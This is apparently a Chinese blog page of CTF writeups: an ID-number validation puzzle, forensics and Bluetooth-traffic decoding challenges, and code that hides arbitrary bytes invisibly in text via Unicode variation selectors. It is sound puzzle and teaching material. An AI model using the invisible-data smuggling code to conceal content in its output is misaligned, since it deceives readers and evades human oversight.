  • 例如,“19900101”表示1990年1月1日出生,年龄计算以 2024年11月30日为基准,超过该日期也截止计算。
  • 其年龄计算规则如下:

    例:520330194910209167为1949年10月20日出生。

    1949年10月20日到2024年10月20日是75年,已度过生日,所以年龄为75岁。

    例:110101199312214859为1993年12月21日出生。

    1993年12月21日到2024年12月21日是31年,年龄计算基准以2024年11月30日截止计算,未度过生日,所以年龄为30岁。

第15-17位:顺序码

  • 在同一地址码区域内,同年同月同日出生的人区分顺序的编号。
  • 第17位:性别标识码,奇数表示男性,偶数表示女性。
  • 例如:顺序码“001”表示该区域内第1个出生者,且为男性。

第18位:校验码

  1. 将身份证号码前17位数字分别乘以不同的系数。从第一位到第十七位的系数分别是: 7-9-10-5-8-4-2-1-6-3-7-9-10-5-8-4-2。
  2. 将这 17 位数字和系数相乘的结果相加。
  3. 用加出来的和除以11,得到余数。
  4. 余数对应规则:
  5. 例如:身份证前17位为11010119931221485​,系数相乘的结果相加为:

1*7+1*9+0*10+1*5+0*8+1*4+1*2+9*1+9*6+3*3+1*7+2*9+2*10+1*5+4*8+8*4+5*2=223,223mod11=3​,根据(04)中的对照规则,其最后一位应为 9。

作答要求:

请根据给定的公民信息文件结合辅助信息资源校验身份证信息,匹配出正确的身份证号,并按照身份证号中的出生年月日进行排序(按照年龄从大到小进行排序)。(提交格式:flag{身份证1_身份证2_身份证3}​,举例:flag{110101198012078336_110101199312214859_110101200703169552}​)

正确示例:

蔡桂花,18767876787,110101199312214859,30,北京市东城区大马路123号,男
  • 说明:身份证地址为110101开头,即北京市东城区,符合身份证家庭住址地区(北京市东城区),此人为1993年12月21日出生,未度过生日,今年30岁,并且身份证性别为男和给定的公民信息文件对应

错误示例:

蔡桂花,18767876787,110101198011078326,56,四川省德阳市旌阳区大马路123号,男
  • 说明:身份证地址为110101开头,即北京市东城区,不符合身份证家庭住址地区(四川省德阳市旌阳区),此人为1980年11月7日出生,已度过生日,今年44岁,并且身份证性别为女和给定的公民信息文件对应不上,校验码也错误
import pandas as pd
import re
from datetime import datetime

# 加载数据
user_df = pd.read_csv('user.csv')
region_df = pd.read_csv('地区编号对照.csv', header=None, names=['地址编号', '地址'])
province_city_df = pd.read_excel('省市对照.xlsx')

# 预处理地区编号数据
region_df[['省', '市', '县']] = region_df['地址'].str.extract(r'(.+省)(.+市)(.+)', expand=True)
region_df['省'] = region_df['省'].str.replace('省', '')
region_df['市'] = region_df['市'].str.replace('市', '')

# 身份证校验系数
WEIGHTS = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
CHECK_CODES = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']

# 基准日期
REF_DATE = datetime(2024, 11, 30)

def validate_idcard(row):
    try:
        # 提取信息
        idcard = str(row['身份证']).strip()
        age = row['年龄']
        address = row['家庭住址']
        gender = row['性别']

        # 基本格式检查
        if len(idcard) != 18 or not idcard[:17].isdigit():
            return False

        # 1. 地址码验证
        region_code = idcard[:6]
        region_info = region_df[region_df['地址编号'] == region_code]
        if region_info.empty:
            return False

        # 检查地址是否匹配
        province = region_info.iloc[0]['省']
        city = region_info.iloc[0]['市']

        if province not in address or city not in address:
            return False

        # 2. 出生日期验证
        birth_date_str = idcard[6:14]
        try:
            birth_date = datetime.strptime(birth_date_str, '%Y%m%d')
        except:
            return False

        # 计算年龄
        age_diff = REF_DATE.year - birth_date.year
        if (REF_DATE.month, REF_DATE.day) < (birth_date.month, birth_date.day):
            age_diff -= 1

        if age_diff != age:
            return False

        # 3. 性别验证
        gender_code = int(idcard[16])
        if (gender == '男' and gender_code % 2 == 0) or (gender == '女' and gender_code % 2 == 1):
            return False

        # 4. 校验码验证
        total = sum(int(a) * b for a, b in zip(idcard[:17], WEIGHTS))
        check_code = CHECK_CODES[total % 11]
        if idcard[17].upper() != check_code:
            return False

        return True
    except Exception as e:
        print(f"验证过程中出错: {e}")
        return False

# 筛选有效身份证
valid_ids = user_df[user_df.apply(validate_idcard, axis=1)]['身份证'].tolist()

# 按出生日期排序
def get_birth_date(idcard):
    return idcard[6:14]

valid_ids_sorted = sorted(valid_ids, key=get_birth_date)

# 格式化输出
result = '_'.join(valid_ids_sorted)
print(f'flag{{{result}}}')

PENTEST

APK

asynccode

ezphp

PHP特性

asynccode

OSINT

纯理论

2025能源网络安全大赛 | 发⚡组 Misc 部分writeup

为❤发⚡

alarm_clock

给了vmdk,取证一下恢复一个wav和一个压缩包

image

image

很明显是SSTV,

7b01c5563befbcf1f7f3248865339e4

解压后发现是

image

按照所给hint,按照时钟进行画图:

import matplotlib.pyplot as plt
import numpy as np

direction_map = {
    0: (0, 1),   
    1: (0.5, 0.5),  
    2: (1, 0.25),  
    3: (1, 0),  
    4: (0.5, -0.5),  
    5: (0.25, -1),   
    6: (0, -1),  
    7: (-0.5, -0.5), 
    8: (-1, -0.25),  
    9: (-1, 0),  
    10: (-0.5, 0.5), 
    11: (-0.25, 1)   
}

paths = [
    [3,3,3,3,9,9,6,6,6,0,0,0,0,1,1,5,5],
    ......
]

fig, ax = plt.subplots(figsize=(12, 8))
colors = plt.cm.tab10(np.linspace(0, 1, len(paths)))

for i, path in enumerate(paths):
    x, y = [0], [0]
    for d in path:
        dx, dy = direction_map[d]
        x.append(x[-1] + dx)
        y.append(y[-1] + dy)
    x = np.array(x) + i * 5
    y = np.array(y)
    ax.plot(x, y, color=colors[i], linewidth=2, label=f'Path {i+1}')

ax.set_aspect('equal')
ax.axis('off')
plt.title("Clock Direction Paths (Simplified)", fontsize=14)
plt.legend(loc='upper right', fontsize=8)
plt.tight_layout()
plt.show()

image

Bluetooth

观察流量包,发现是考L2CAP层协议解析,

image

提取一下Bluetooth L2CAP Payload

tshark -r Bluetooth.pcapng  -e "btl2cap.payload" -T fields > result.txt

image

发现result中长度34位里的数据只有后三位不一样,提取出来


def extract_third_last(filename):
    with open(filename, 'r', encoding='utf-8') as f:
        lines = f.readlines()

    result = []

    for line in lines:
        line = line.strip()
        if len(line) == 36:
            result.append(line[-3])

    return result

if __name__ == "__main__":
    filename = 'result.txt'
    chars = extract_third_last(filename)
    for ch in chars:
        print(ch)

image

发现只有 01248,0作为分隔符号,所以我们需要将0​批量替换为空然后利用正则:1 1 1​与1 1​是1,2 2 2​与 2 2​是2,4 4 4​与4 4​ 是4 ,8 8 8​与8 8​是8

import re

text = """
2 2 2    4 4 4    2 2 2    4 4 4
"""

result = re.sub(r'(\d)(?:\s\1){1,2}', r'\1', text)

print(result.strip())

转变为4进制,1替换成0,2替换成1,4替换成2,8替换成3

121212301201121313230......

按两位一组组合为四进制数,转换为十进制字符:

text = "121212301201121313230......"

# 每两个字符一组
pairs = [text[i:i+2] for i in range(0, len(text), 2)]

# 将每组视为4进制并转为10进制
decimal_values = [int(pair, 4) for pair in pairs]

print(decimal_values)
# [6, 6, 6, 12, 6, 1, 6, 7, 7, 11, ......]
def convert_numbers_to_custom_encoding(numbers):
    result = []
    for num in numbers:
        if 0 <= num <= 9:
            result.append(str(num))
        elif 10 <= num <= 15:
            result.append(chr(num - 10 + ord('A')))
        else:
            result.append('?')  # 这里用 '?' 表示无效数字
    return ''.join(result)

numbers = [6, 6, 6, 12, 6, 1, 6, 7, 7, 11, ......]

encoded_str = convert_numbers_to_custom_encoding(numbers)
print(encoded_str)
# 666C61677B......

image

Smuggling arbitrary data through an emoji | 通过emoji走私任意数据

https://paulbutler.org/2025/smuggling-arbitrary-data-through-an-emoji/

写了个python版本,感觉有人是会拿来比赛出题的。

Unicode 码点

Unicode 是计算机科学领域的一项业界标准,包括字符集和编码方案。它为每种语言中的每个字符设定了统一且唯一的二进制编码,通常用两个字节表示一个字符。Unicode 码点(Code Point)是指 Unicode 字符在 Unicode 字符集中的唯一编号。

Unicode 编码格式

Unicode 编码格式有多种,其中最常见的是 UTF-8UTF-16。UTF-8 是一种可变长度的编码方式,根据字符的不同范围使用不同长度的编码。例如:

  • 000000-00007F: 0xxxxxxx
  • 000080-0007FF: 110xxxxx 10xxxxxx
  • 000800-00FFFF: 1110xxxx 10xxxxxx 10xxxxxx
  • 010000-10FFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

Unicode 定义了 256 个代码点作为“变体选择器”,从 VS-1 到 VS-256。这些变体选择器本身没有可见的显示效果,但用于修改前一个字符的显示方式。例如,代码点 U+0067​(字符g​)后跟 U+FE01​(VS-2)仍然显示为小写g​,与单独的g​相同。但如果复制并粘贴该字符,变体选择器也会随之携带。

由于 256 足以表示一个字节,这为我们提供了一种在任何其他 unicode 代码点中“隐藏”一个字节数据的方法。

变体选择器

按照Paul Butler的思路,假设要编码字符串 "hello",其 ASCII 码为 [0x68, 0x65, 0x6c, 0x6c, 0x6f]​。可以将每个字节映射到一个变体选择器,然后将这些变体选择器附加到一个基字符(如空格或emoji)后面。例如,使用emoji符作为基字符,编码后的字符串可能看起来像一个普通的表情符号,但实际上包含了隐藏的数据。

变体选择器的代码点被分为两段:最初的 16 个在 U+FE00​ 到 U+FE0F​ 之间,其余的 240 个在 U+E0100​ 到 U+E01EF​ 之间。

要从字节转换为变体选择器,我们可以执行类似以下 Rust 代码的操作:

fn byte_to_variation_selector(byte: u8) -> char {
    if byte < 16 {
        char::from_u32(0xFE00 + byte as u32).unwrap()
    } else {
        char::from_u32(0xE0100 + (byte - 16) as u32).unwrap()
    }
}

然后,要编码一系列字节,我们可以在一个基础字符后面连接多个这样的变体选择器:

fn encode(base: char, bytes: &[u8]) -> String {
    let mut result = String::new();
    result.push(base);
    for byte in bytes {
        result.push(byte_to_variation_selector(*byte));
    }
    result
}

为了编码字节 [0x68, 0x65, 0x6c, 0x6c, 0x6f]​,我们可以运行以下代码:

fn main() {
    println!("{}", encode('😊', &[0x68, 0x65, 0x6c, 0x6c, 0x6f]));
}

输出就是:

😊󠅘󠅕󠅜󠅜󠅟

解码

fn variation_selector_to_byte(variation_selector: char) -> Option<u8> {
    let variation_selector = variation_selector as u32;
    if (0xFE00..=0xFE0F).contains(&variation_selector) {
        Some((variation_selector - 0xFE00) as u8)
    } else if (0xE0100..=0xE01EF).contains(&variation_selector) {
        Some((variation_selector - 0xE0100 + 16) as u8)
    } else {
        None
    }
}

fn decode(variation_selectors: &str) -> Vec<u8> {
    let mut result = Vec::new();

    for variation_selector in variation_selectors.chars() {
        if let Some(byte) = variation_selector_to_byte(variation_selector) {
            result.push(byte);
        } else if !result.is_empty() {
            return result;
        }
        // note: we ignore non-variation selectors until we have
        // encountered the first one, as a way of skipping the "base
        // character".
    }

    result
}

使用示例如下:

use std::str::from_utf8;

fn main() {
    let result = encode('😊', &[0x68, 0x65, 0x6c, 0x6c, 0x6f]);
    println!("{:?}", from_utf8(&decode(&result)).unwrap()); // "hello"
}

基字符(如空格或表情符号)不需要一定是emoji符号,任何 Unicode 字符都可以作为基字符。

image

python示例

encode

将字节(0-255​)转换为对应的变体选择器字符,判断字节大小并选择对应的变体选择器范围。将基字符和字节数组进行组合,依次生成编码后的字符串。

def byte_to_variation_selector(byte: int) -> str:
    """Converts a byte to a variation selector character."""
    if byte < 16:
        return chr(0xFE00 + byte)
    else:
        return chr(0xE0100 + (byte - 16))

def encode(base: str, bytes: list) -> str:
    """Encodes a base character with a list of bytes as variation selectors."""
    result = [base]
    for byte in bytes:
        result.append(byte_to_variation_selector(byte))
    return ''.join(result)

if __name__ == "__main__":
    base = ' '
    byte_sequence = [0x41, 0x6e, 0x64, 0x79, 0x4e, 0x6f, 0x65, 0x6c]
    encoded_str = encode(base, byte_sequence)
    print(encoded_str)

decode

解密思路就是将每个变体选择器字符映射回其对应的字节值,然后,编写一个函数,遍历输入字符串,提取所有有效的变体选择器字符,并将其转换为字节值。

def variation_selector_to_byte(variation_selector: str) -> int:
    code_point = ord(variation_selector)
    if 0xFE00 <= code_point <= 0xFE0F:
        return code_point - 0xFE00
    elif 0xE0100 <= code_point <= 0xE01EF:
        return code_point - 0xE0100 + 16
    else:
        raise ValueError(f"无效的变体选择器字符:{variation_selector}")
def decode(variation_selectors: str) -> bytes:
    result = bytearray()
    for char in variation_selectors:
        try:
            byte = variation_selector_to_byte(char)
            result.append(byte)
        except ValueError:
            if result:
                break
    return bytes(result)
encoded_str = ' 󠄱󠅞󠅔󠅩󠄾󠅟󠅕󠅜'
decoded_bytes = decode(encoded_str)
decoded_str = decoded_bytes.decode('utf-8')
print(decoded_str)